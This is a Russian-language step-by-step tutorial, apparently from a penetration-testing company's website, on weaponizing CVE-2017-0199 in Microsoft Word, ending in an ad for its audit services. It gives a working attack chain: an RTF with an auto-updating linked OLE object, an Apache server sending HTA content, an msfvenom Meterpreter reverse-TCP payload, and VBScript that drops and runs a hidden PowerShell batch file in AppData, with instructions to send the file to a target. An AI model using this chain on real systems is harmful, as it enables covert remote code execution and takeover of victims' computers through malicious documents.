Эксплуатация уязвимости CVE-2017-0199 в Microsoft Word

Уязвимость CVE-2017-0199 позволяет незаметно выполнить произвольный код в любой версии Microsoft Windows и Microsoft Office, при этом не требует включения макросов. Эксплоит распространяется через документ формата RTF.
Принцип работы уязвимости состоит в том, что открываемый RTF файл имеет объект OLE2link, который подгружает HTA приложение со стороннего сервиса и запускает его.

Для создания эксплоита и эксплуатации потребуется:

  • Сервер с установленным Apache, который будет доступен из атакуемой сети;
  • Microsoft Word 2010-2016;
  • Metasploit Framework;

Для начала установим на сервер Apache.

Теперь создадим RTF файл в Microsoft Word (в примере: doc.rtf) с произвольным текстом (этот текст в дальнейшем будет отображаться пользователю при открытии файла, поэтому мы использовали текст из одной точки, чтобы он был слабо заметен) и загрузим его на сервер, чтобы он был доступен по протоколу HTTP.

Следующим шагом создадим еще один файл RTF, в который вставим загруженный файл, как объект.

Вставка

Для вставки объекта переходим во вкладку Вставка и выбираем Объект.

Создание из файла

Выбираем вкладку Создание из файла, в поле Имя файла: вставляем ссылку на наш файл и отмечаем пункт Связь с файлом.
Нажимаем ОК и ждем пока файл загрузится. После этого сохраняем получившийся файл (дополнительно в файл можно добавить любой текст) с любым именем (в нашем примере: exploit.rtf). В дальнейшем этот файл будет отправляться на атакуемую машину.

Автоподгрузка

Добавим автоподгрузку внешнего содержимого в файл exploit.rtf, для этого откроем файл в любом текстовом редакторе (например Notepad или Notepad++), найдем строку:

\object\objautlink\rsltpict\...

И добавим в нее автозагрузку (objupdate):

...\object\objautlink\objupdate\rsltpict\...

После добавления — сохраним получившийся файл. Отправляемая часть эксплоита готова.

Теперь нужно отредактировать настройки Apache, чтобы при запросе файла передавался правильный заголовок.

Включим модуль заголовков:

a2enmod headers

Откроем свойства виртуального хоста (для хоста по умолчанию это файл /etc/apache2/sites-available/000-default.conf) и допишем в него строку:

Header set Content-Type "application/hta"

Должно получиться:


ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
Header set Content-Type "application/hta"
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

Для применения настроек, перезапускаем Apache:

systemctl restart apache2.service

Теперь сгенерируем полезную нагрузку (как обычно, Meterpreter):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -f psh-cmd -o payload.txt

Описание параметров msfvenom:
-p — используемая полезная нагрузка (В примере: windows/meterpreter/reverse_tcp).
LHOST=1.1.1.1 LPORT=4444 — параметры для полезной нагрузки (IP адрес для обратного подключения и порт);
-f psh-cmd — формат вывода (psh-cmdPowerShell скрипт);
-o — файл вывода, куда будет записан Payload.

Результатом будет файл payload.txt с содержимым вида:

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAP...

Из всего содержимого нам нужна Base64 строка, которая начинается после флага -e (в примере: aQBmACgAWwBJAG4AdABQ…).

Заменим содержимое файла на сервере (doc.rtf) на эксплоит:



Описание эксплоита.

Используем VBScript:

Получаем путь к папке AppData\Roaming:

strHomeFolder = shell.ExpandEnvironmentStrings("%APPDATA%")

Создаем поток, который будет записывать в файл payload.bat:

Set stream = fso.CreateTextFile(strHomeFolder & "\payload.bat")

Записываем в файл payload.bat кодманду, которая Meterpreter через PowerShell (Вместо BASE64-PAYLOAD нужно записать ранее сгенерированный Payload в Base64):

stream.Write "powershell.exe -nop -w hidden -e BASE64-PAYLOAD"

Запускаем созданный BAT файл:

shell.Run strHomeFolder & "\payload.bat"

Создаем HTML Application, который выполняет VBScript:

Все готово. Можно отправлять файл exploit.rtf на атакуемую машину.
При открытии пользователем полученного файла, будет запускаться HTML Application, которое выполнит полезную нагрузку.

И в заключении, пара снимков экрана о результате эксплуатации:

Открытие файла

При открытии появится диалог, но он ни на что не влияет. Приложение уже запустилось.

Meterpreter

Открытая сессия Meterpreter.

Эксплуатация уязвимости успешно проведена.

Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктуры

Быть уверенным в своей IT-инфраструктуре — это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.